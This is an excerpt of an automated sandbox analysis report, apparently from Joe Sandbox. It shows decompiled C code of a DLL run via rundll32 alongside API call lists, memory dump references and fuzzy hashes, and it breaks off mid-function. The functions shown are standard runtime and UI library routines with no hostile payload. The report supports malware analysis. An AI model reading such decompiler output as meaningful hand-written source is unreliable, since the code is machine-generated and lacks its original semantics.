							_t21 = _t56 + 4; // 0x840ffff8
							_t58 = MultiByteToWideChar( *_t21, 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 10023EB3
__isleadbyte_l.LIBCMT ref: 10023EE7
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,A045FF98,?,00000000,00000000,?,00000000,10022C1D,?,?,00000002), ref: 10023F18
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,?,00000000,00000000,?,00000000,10022C1D,?,?,00000002), ref: 10023F86

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 9fecb1cfdfc7269cf4ddeba3d560e390ad46f881d90bbc81769201c589544707
Instruction ID: bc0a73e0192d900c1d89498958e44598309ec6eeb61669affd2269eacaf1277d
Opcode Fuzzy Hash: 9fecb1cfdfc7269cf4ddeba3d560e390ad46f881d90bbc81769201c589544707
Instruction Fuzzy Hash: EA319931A0028AEFDF50DFA4E891AAE7BF9EF00251F92C5A9F4648B191D330E944DB50

Uniqueness

Uniqueness Score: -1.00%

Function 100145B9, Relevance: 6.1, APIs: 4, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E100145B9(void* __ecx, void* __edx, void* __edi, void* __eflags, signed int _a4) {
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				signed int _t39;
				void* _t47;
				intOrPtr* _t48;
				void* _t50;
				void* _t51;
				void* _t64;
				void* _t65;
				intOrPtr _t66;
				void* _t68;
				void* _t70;

				_t65 = __edi;
				_t64 = __edx;
				_t51 = E1000D61F(_t50, __ecx, __edi, _t68, __eflags);
				_t29 =  *((intOrPtr*)(_t51 + 0x10));
				if(_t29 == 0) {
					L19:
					return 0 |  *((intOrPtr*)(_t51 + 0x10)) != 0x00000000;
				}
				_t32 = _t29 - 1;
				 *((intOrPtr*)(_t51 + 0x10)) = _t32;
				if(_t32 != 0) {
					goto L19;
				}
				if(_a4 == 0) {
					L8:
					_push(_t65);
					_t66 =  *((intOrPtr*)(E1000D5EC(_t51, _t65, 0, _t77) + 4));
					_t70 = E100139DB(0x10058f44);
					if(_t70 == 0 || _t66 == 0) {
						L18:
						goto L19;
					} else {
						_t35 =  *((intOrPtr*)(_t70 + 0xc));
						_t80 = _t35;
						if(_t35 == 0) {
							L12:
							if( *((intOrPtr*)(_t66 + 0x98)) != 0) {
								_t36 =  *((intOrPtr*)(_t70 + 0xc));
								_a4 = _a4 & 0x00000000;
								_t83 = _t36;
								if(_t36 != 0) {
									_push(_t36);
									_t39 = E1001A023(_t51, _t64, _t66, _t70, _t83);
									_push( *((intOrPtr*)(_t70 + 0xc)));
									_a4 = _t39;
									E10016380(_t51, _t66, _t70, _t83);
								}
								_t37 = E1001703B(_t51, _t64, _t66, _t70,  *((intOrPtr*)(_t66 + 0x98)));
								 *((intOrPtr*)(_t70 + 0xc)) = _t37;
								if(_t37 == 0 && _a4 != _t37) {
									 *((intOrPtr*)(_t70 + 0xc)) = E1001703B(_t51, _t64, _t66, _t70, _a4);
								}
							}
							goto L18;
						}
						_push(_t35);
						if(E1001A023(_t51, _t64, _t66, _t70, _t80) >=  *((intOrPtr*)(_t66 + 0x98))) {
							goto L18;
						}
						goto L12;
					}
				}
				if(_a4 != 0xffffffff) {
					_t47 = E1000B510();
					if(_t47 != 0) {
						_t48 =  *((intOrPtr*)(_t47 + 0x3c));
						_t77 = _t48;
						if(_t48 != 0) {
							 *_t48(0, 0);
						}
					}
				}
				E100144ED( *((intOrPtr*)(_t51 + 0x20)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x1c)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x18)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x14)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x24)), _t65);
				goto L8;
			}

APIs

__msize.LIBCMT ref: 1001464A
__msize.LIBCMT ref: 1001466D
_malloc.LIBCMT ref: 10014685
_malloc.LIBCMT ref: 1001469A

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: __msize_malloc
String ID:
API String ID: 1288803200-0
Opcode ID: f4a42d07282e480ba19c61c33f8d9b2ab7007992bfdb09378e69a2fee1890d3d
Instruction ID: c51f58ba7030090f65d8388f2f6216d6b95cef8c4540db251b535ec9dede0d79
Opcode Fuzzy Hash: f4a42d07282e480ba19c61c33f8d9b2ab7007992bfdb09378e69a2fee1890d3d
Instruction Fuzzy Hash: 2E21F375500A019FCB55DF34D881B5A73E4FF05298B22842AE869DF266DF30ECC1CB82

Uniqueness

Uniqueness Score: -1.00%

Function 10009D34, Relevance: 6.1, APIs: 4, Instructions: 58
windowCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 87%

			E10009D34(void* __ebx, void* __edi, void* __esi, void* __eflags, void* _a4, intOrPtr _a8, char _a12) {
				intOrPtr* _v0;
				void* _v4;
				signed int _v8;
				intOrPtr _v16;
				void* _t20;
				intOrPtr* _t23;
				void* _t29;
				void* _t31;
				intOrPtr _t35;
				char _t36;
				void* _t40;
				void* _t42;
				void* _t44;

				_t44 = __eflags;
				_t38 = __esi;
				_t37 = __edi;
				_t31 = __ebx;
				_push(4);
				E10017BC1(E10027DA5, __ebx, __edi, __esi);
				_t35 = E10009B91(_t44, 0xc);
				_v16 = _t35;
				_t20 = 0;
				_v4 = 0;
				if(_t35 != 0) {
					_t20 = E10009CDE(_t35);
				}
				_t36 = _a4;
				_v8 = _v8 | 0xffffffff;
				 *((intOrPtr*)(_t20 + 8)) = _t36;
				_a4 = _t20;
				E10017C83( &_a4, 0x1002e16c);
				asm("int3");
				_t40 = _t42;
				_t23 = _v0;
				_push(_t31);
				if(_t23 != 0) {
					 *_t23 = 0;
				}
				if(FormatMessageA(0x1100, 0,  *(_t36 + 8), 0x800,  &_a12, 0, 0) != 0) {
					E10009C0D(0, _t36, _t37, _t38, _t40, _a4, _a8, _a12, 0xffffffff);
					LocalFree(_a12);
					_t29 = 1;
					__eflags = 1;
				} else {
					 *_a4 = 0;
					_t29 = 0;
				}
				return _t29;
			}

APIs

__EH_prolog3.LIBCMT ref: 10009D3B

Part of subcall function 10009B91: _malloc.LIBCMT ref: 10009BAB

__CxxThrowException@8.LIBCMT ref: 10009D71
FormatMessageA.KERNEL32(00001100,00000000,8007000E,00000800,?,00000000,00000000,?,?,8007000E,1002E16C,00000004,1000105C,8007000E), ref: 10009D9A

Part of subcall function 10009C0D: _wctomb_s.LIBCMT ref: 10009C1D

LocalFree.KERNEL32(?), ref: 10009DC3

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Exception@8FormatFreeH_prolog3LocalMessageThrow_malloc_wctomb_s
String ID:
API String ID: 1615547351-0
Opcode ID: e381bce633557ad048b1696ea26053178c542294b2cd97fac3bd263aaafec7a1
Instruction ID: 2087144037a306e6c8b96e697859ee983d4da7c50e84c085b7e4f49f0a09e647
Opcode Fuzzy Hash: e381bce633557ad048b1696ea26053178c542294b2cd97fac3bd263aaafec7a1
Instruction Fuzzy Hash: 1E1170B1644249AFEB00DFA4DC81DAE3BA9FB04390F21452AF629CA1D1D731D9508B51

Uniqueness

Uniqueness Score: -1.00%

Function 1000C887, Relevance: 6.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E1000C887(void* __ecx) {
				void* _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t23;
				void* _t28;
				void* _t30;
				struct HINSTANCE__* _t32;
				signed int _t34;
				signed short _t35;
				void* _t37;
				signed short* _t40;

				_push(__ecx);
				_push(_t28);
				_t37 = __ecx;
				_t42 =  *((intOrPtr*)(__ecx + 0x58));
				_t40 =  *(__ecx + 0x60);
				_v8 =  *((intOrPtr*)(__ecx + 0x5c));
				if( *((intOrPtr*)(__ecx + 0x58)) != 0) {
					_t32 =  *(E1000D5EC(_t28, __ecx, _t40, _t42) + 0xc);
					_v8 = LoadResource(_t32, FindResourceA(_t32,  *(_t37 + 0x58), 5));
				}
				if(_v8 != 0) {
					_t40 = LockResource(_v8);
				}
				_t30 = 1;
				if(_t40 != 0) {
					_t35 =  *_t40;
					if(_t40[1] != 0xffff) {
						_t23 = _t40[5] & 0x0000ffff;
						_t34 = _t40[6] & 0x0000ffff;
					} else {
						_t35 = _t40[6];
						_t23 = _t40[9] & 0x0000ffff;
						_t34 = _t40[0xa] & 0x0000ffff;
					}
					if((_t35 & 0x00001801) != 0 || _t23 != 0 || _t34 != 0) {
						_t30 = 0;
					}
				}
				if( *(_t37 + 0x58) != 0) {
					FreeResource(_v8);
				}
				return _t30;
			}

APIs

FindResourceA.KERNEL32(?,00000000,00000005), ref: 1000C8AD
LoadResource.KERNEL32(?,00000000), ref: 1000C8B5
LockResource.KERNEL32(00000000), ref: 1000C8C7
FreeResource.KERNEL32(00000000), ref: 1000C911

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: ba0e54e7ba739e7dbb3db6c45d0c9dd504ce55cc39771a4365ee787ff2243026
Instruction ID: fb1a28c5f31200e3abd4209bdb6f3add133a5505808a0a6cde1b54a47ab738f1
Opcode Fuzzy Hash: ba0e54e7ba739e7dbb3db6c45d0c9dd504ce55cc39771a4365ee787ff2243026
Instruction Fuzzy Hash: 46118F3150076AEFE710DF95C889AAAB3F5FF003D5F218029E84252594D770ED50D760

Uniqueness

Uniqueness Score: -1.00%

Function 1000ADB5, Relevance: 6.1, APIs: 4, Instructions: 56
threadCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E1000ADB5(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t37;
				intOrPtr _t43;
				void* _t45;
				intOrPtr* _t51;
				void* _t52;
				void* _t53;

				_t53 = __eflags;
				_t46 = __ecx;
				_t44 = __ebx;
				_push(4);
				E10017BC1(E10027E86, __ebx, __edi, __esi);
				_t51 = __ecx;
				 *((intOrPtr*)(_t52 - 0x10)) = __ecx;
				E1000B862(__ebx, __ecx, __edi, __ecx, _t53);
				_t54 =  *((intOrPtr*)(_t52 + 8));
				 *((intOrPtr*)(_t52 - 4)) = 0;
				 *_t51 = 0x10029f54;
				if( *((intOrPtr*)(_t52 + 8)) == 0) {
					 *((intOrPtr*)(_t51 + 0x50)) = 0;
				} else {
					_t43 = E1001817A( *((intOrPtr*)(_t52 + 8)));
					_pop(_t46);
					 *((intOrPtr*)(_t51 + 0x50)) = _t43;
				}
				_t45 = E1000D5EC(_t44, 0, _t51, _t54);
				_t55 = _t45;
				if(_t45 == 0) {
					L4:
					E1000A0DB(_t45, _t46, 0, _t51, _t55);
				}
				_t7 = _t45 + 0x74; // 0x74
				_t46 = _t7;
				_t37 = E1000AA21(_t45, _t7, 0, _t51, _t55);
				if(_t37 == 0) {
					goto L4;
				}
				 *((intOrPtr*)(_t37 + 4)) = _t51;
				 *((intOrPtr*)(_t51 + 0x2c)) = GetCurrentThread();
				 *((intOrPtr*)(_t51 + 0x30)) = GetCurrentThreadId();
				 *((intOrPtr*)(_t45 + 4)) = _t51;
				 *((intOrPtr*)(_t51 + 0x44)) = 0;
				 *((intOrPtr*)(_t51 + 0x7c)) = 0;
				 *((intOrPtr*)(_t51 + 0x64)) = 0;
				 *((intOrPtr*)(_t51 + 0x68)) = 0;
				 *((intOrPtr*)(_t51 + 0x54)) = 0;
				 *((intOrPtr*)(_t51 + 0x60)) = 0;
				 *((intOrPtr*)(_t51 + 0x88)) = 0;
				 *((intOrPtr*)(_t51 + 0x58)) = 0;
				 *((short*)(_t51 + 0x92)) = 0;
				 *((short*)(_t51 + 0x90)) = 0;
				 *((intOrPtr*)(_t51 + 0x48)) = 0;
				 *((intOrPtr*)(_t51 + 0x8c)) = 0;
				 *((intOrPtr*)(_t51 + 0x80)) = 0;
				 *((intOrPtr*)(_t51 + 0x84)) = 0;
				 *((intOrPtr*)(_t51 + 0x70)) = 0;
				 *((intOrPtr*)(_t51 + 0x74)) = 0;
				 *((intOrPtr*)(_t51 + 0x94)) = 0;
				 *((intOrPtr*)(_t51 + 0x9c)) = 0;
				 *((intOrPtr*)(_t51 + 0x5c)) = 0;
				 *((intOrPtr*)(_t51 + 0x6c)) = 0;
				 *((intOrPtr*)(_t51 + 0x98)) = 0x200;
				return E10017C60(_t51);
			}

APIs

__EH_prolog3.LIBCMT ref: 1000ADBC

Part of subcall function 1000B862: __EH_prolog3.LIBCMT ref: 1000B869

__strdup.LIBCMT ref: 1000ADDE
GetCurrentThread.KERNEL32 ref: 1000AE0B
GetCurrentThreadId.KERNEL32 ref: 1000AE14

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: CurrentH_prolog3Thread$__strdup
String ID:
API String ID: 4206445780-0
Opcode ID: 9c26e9d60202904c8b3007aba5d4454f2b931d5449d83442688f904a073da271
Instruction ID: f8307bcc4145d2f3034cc24c4785684ef343d47fe4738e0b5029f7ba663f9659
Opcode Fuzzy Hash: 9c26e9d60202904c8b3007aba5d4454f2b931d5449d83442688f904a073da271
Instruction Fuzzy Hash: 88217EB4800B50CFE721DF6A858564AFBF8FFA4680F10891FD59A87A25CBB0A581CF45

Uniqueness

Uniqueness Score: -1.00%

Function 1001170E, Relevance: 6.1, APIs: 4, Instructions: 55
windowCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E1001170E(intOrPtr* __ecx) {
				char _v20;
				intOrPtr _v32;
				void* __ebx;
				void* __edi;
				intOrPtr* __esi;
				struct HWND__* _t18;
				void* _t24;
				intOrPtr _t29;
				intOrPtr* _t33;

				_t28 = __ecx;
				_push(0);
				_t33 = __ecx;
				if( *((intOrPtr*)( *__ecx + 0x120))() != 0) {
					__eax =  *__esi;
					__ecx = __esi;
					__eax =  *((intOrPtr*)( *__esi + 0x170))();
				}
				_t30 = SendMessageA;
				SendMessageA( *(_t33 + 0x20), 0x1f, 0, 0);
				E1001044A(0, _t28,  *(_t33 + 0x20), 0x1f, 0, 0, 1, 1);
				_t28 = _t33;
				_t33 = E10010DEC(0, _t28, SendMessageA);
				if(_t33 != 0) {
					SendMessageA( *(_t33 + 0x20), 0x1f, 0, 0);
					E1001044A(0, _t28,  *(_t33 + 0x20), 0x1f, 0, 0, 1, 1);
					_t18 = GetCapture();
					if(_t18 != 0) {
						_t18 = SendMessageA(_t18, 0x1f, 0, 0);
					}
					return _t18;
				} else {
					_push(_t28);
					_v20 = 0x10057298;
					E10017C83( &_v20, 0x1002e2fc);
					asm("int3");
					_push(4);
					E10017BC1(E10027DEC, 0, SendMessageA, _t33);
					_t29 = E10013965(0x104);
					_v32 = _t29;
					_t24 = 0;
					_v20 = 0;
					if(_t29 != 0) {
						_t24 = E1000CF71(_t29);
					}
					return E10017C60(_t24);
				}
			}

APIs

SendMessageA.USER32 ref: 10011738
SendMessageA.USER32 ref: 10011763

Part of subcall function 1001044A: GetTopWindow.USER32(00000000), ref: 10010458

GetCapture.USER32 ref: 10011775
SendMessageA.USER32 ref: 10011784

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: MessageSend$CaptureWindow
String ID:
API String ID: 729421689-0
Opcode ID: 80fe9e985e59ca35730d0e4f98e874e27816f3184ada4d3ba37fa42bed1d0644
Instruction ID: c1fa24ad5068faa30316ff7830c17e6e1fa791912a80157e4ea929c0746033bf
Opcode Fuzzy Hash: 80fe9e985e59ca35730d0e4f98e874e27816f3184ada4d3ba37fa42bed1d0644
Instruction Fuzzy Hash: EF012CB5350219BFF621AB608CC9FBA36ADEB487C4F010539F685AA1E2C6A19C415660

Uniqueness

Uniqueness Score: -1.00%

Function 10013F17, Relevance: 6.1, APIs: 4, Instructions: 55
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E10013F17(void* __ecx, intOrPtr __edx, CHAR* _a4, char* _a8, char _a12) {
				signed int _v8;
				char _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				CHAR* _t21;
				char* _t24;
				intOrPtr _t28;
				void* _t30;
				signed int _t31;

				_t28 = __edx;
				_t13 =  *0x10057a08; // 0xef7d8b91
				_v8 = _t13 ^ _t31;
				_t24 = _a8;
				_t30 = __ecx;
				_t29 = _a4;
				if( *((intOrPtr*)(__ecx + 0x54)) == 0) {
					E10016DF0( &_v24, 0x10, "%d", _a12);
					_t18 = WritePrivateProfileStringA(_t29, _t24,  &_v24,  *(__ecx + 0x68));
				} else {
					_t30 = E10013ED1(__ecx, _t29);
					if(_t30 != 0) {
						_t21 = RegSetValueExA(_t30, _t24, 0, 4,  &_a12, 4);
						_t29 = _t21;
						RegCloseKey(_t30);
						_t18 = 0 | _t21 == 0x00000000;
					}
				}
				return E100167D5(_t18, _t24, _v8 ^ _t31, _t28, _t29, _t30);
			}

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004), ref: 10013F50
RegCloseKey.ADVAPI32(00000000), ref: 10013F59
_swprintf.LIBCMT ref: 10013F76
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 10013F87

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: ClosePrivateProfileStringValueWrite_swprintf
String ID:
API String ID: 4210924919-0
Opcode ID: 72724b54134d1e17f7023dcd4e88edc389080316b6c32af13a85a47034679497
Instruction ID: 30a1eb16c1be1d822a6ca59f9e75d62d608c78195c8382286e316af6553577e2
Opcode Fuzzy Hash: 72724b54134d1e17f7023dcd4e88edc389080316b6c32af13a85a47034679497
Instruction Fuzzy Hash: 25018076900219BBDB00DF648C85FAF77BCEF48754F104469FA01AB181DA74E94597A4

Uniqueness

Uniqueness Score: -1.00%

Function 1000B244, Relevance: 6.0, APIs: 4, Instructions: 50
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E1000B244(void* __ecx, void* __edi, void* __ebp, signed int _a4) {
				void* __ebx;
				void* __esi;
				void* _t16;
				int _t17;
				int _t18;
				struct HWND__* _t19;
				intOrPtr _t25;
				intOrPtr _t33;
				void* _t35;

				_t32 = __edi;
				_t35 = __ecx;
				_t25 =  *((intOrPtr*)(__ecx + 0xc));
				if(_t25 == 0) {
					__eflags =  *((intOrPtr*)(__ecx + 0x14));
					if(__eflags == 0) {
						L3:
						_t17 = E1000A0DB(0, _t25, _t32, _t35, _t39);
						L4:
						asm("sbb edx, edx");
						_t18 = EnableMenuItem( *(_t25 + 4), _t17, ( ~_a4 & 0xfffffffd) + 0x00000003 | 0x00000400);
						L11:
						 *((intOrPtr*)(_t35 + 0x18)) = 1;
						return _t18;
					}
					__eflags = _a4;
					if(_a4 == 0) {
						_push(__edi);
						_t33 =  *((intOrPtr*)(__ecx + 0x14));
						_t19 = GetFocus();
						__eflags = _t19 -  *(_t33 + 0x20);
						if(_t19 ==  *(_t33 + 0x20)) {
							SendMessageA( *(E1000FB5C(0, _t25, __ebp, GetParent( *(_t33 + 0x20))) + 0x20), 0x28, 0, 0);
						}
					}
					_t18 = E10012913( *((intOrPtr*)(_t35 + 0x14)), _a4);
					goto L11;
				}
				if( *((intOrPtr*)(__ecx + 0x10)) == 0) {
					_t17 =  *(__ecx + 8);
					_t39 = _t17 -  *((intOrPtr*)(__ecx + 0x20));
					if(_t17 <  *((intOrPtr*)(__ecx + 0x20))) {
						goto L4;
					}
					goto L3;
				}
				return _t16;
			}

APIs

EnableMenuItem.USER32 ref: 1000B27C

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

GetFocus.USER32 ref: 1000B293
GetParent.USER32(?), ref: 1000B2A1
SendMessageA.USER32 ref: 1000B2B4

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: EnableException@8FocusH_prolog3ItemMenuMessageParentSendThrow
String ID:
API String ID: 3849708097-0
Opcode ID: 716c6444658c0fcd22857925786988681d98949d7d446b879da325b0eb7e7aaf
Instruction ID: 6f1bf2e13571d4607552996c72993327e3919edcc1f96bcd7a145644f4ad6856
Opcode Fuzzy Hash: 716c6444658c0fcd22857925786988681d98949d7d446b879da325b0eb7e7aaf
Instruction Fuzzy Hash: FB115B71500A11AFE720DF64CCC9D1EBBF6FF893A5B118A2DF186869A8C731AC45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1001044A, Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E1001044A(void* __ebx, void* __ecx, struct HWND__* _a4, int _a8, int _a12, long _a16, struct HWND__* _a20, struct HWND__* _a24) {
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t16;
				struct HWND__* _t18;
				struct HWND__* _t20;
				void* _t22;
				void* _t23;
				void* _t24;
				struct HWND__* _t25;

				_t23 = __ecx;
				_t22 = __ebx;
				_t24 = GetTopWindow;
				_t16 = GetTopWindow(_a4);
				while(1) {
					_t25 = _t16;
					if(_t25 == 0) {
						break;
					}
					__eflags = _a24;
					if(__eflags == 0) {
						SendMessageA(_t25, _a8, _a12, _a16);
					} else {
						_t20 = E1000FB83(_t23, _t24, _t25, __eflags, _t25);
						__eflags = _t20;
						if(__eflags != 0) {
							_push(_a16);
							_push(_a12);
							_push(_a8);
							_push( *((intOrPtr*)(_t20 + 0x20)));
							_push(_t20);
							E1001016F(_t22, _t24, _t25, __eflags);
						}
					}
					__eflags = _a20;
					if(_a20 != 0) {
						_t18 = GetTopWindow(_t25);
						__eflags = _t18;
						if(_t18 != 0) {
							E1001044A(_t22, _t23, _t25, _a8, _a12, _a16, _a20, _a24);
						}
					}
					_t16 = GetWindow(_t25, 2);
				}
				return _t16;
			}

APIs

GetTopWindow.USER32(00000000), ref: 10010458
GetTopWindow.USER32(00000000), ref: 10010497
GetWindow.USER32(00000000,00000002), ref: 100104B5

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: bfa56acb45854e1eb2d8939f4edd14d374eedcc28d24ff6845afa1ef48a187dc
Instruction ID: cb0d0bbe13ee34529c330f041d0b53c98759dff42d13bab1c22f515cd31b8fc3
Opcode Fuzzy Hash: bfa56acb45854e1eb2d8939f4edd14d374eedcc28d24ff6845afa1ef48a187dc
Instruction Fuzzy Hash: CD01257620061ABBDF12DF908C44E9F3A6AEF08390F018014FE8458060C7B6D9A2EBA5

Uniqueness

Uniqueness Score: -1.00%

Function 100223DD, Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E100223DD(void* __ebx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;
				void* _t29;

				_t28 = __ebx;
				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E10021CDA(_t29, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t35 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E10021DC6(_t28, _t29, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
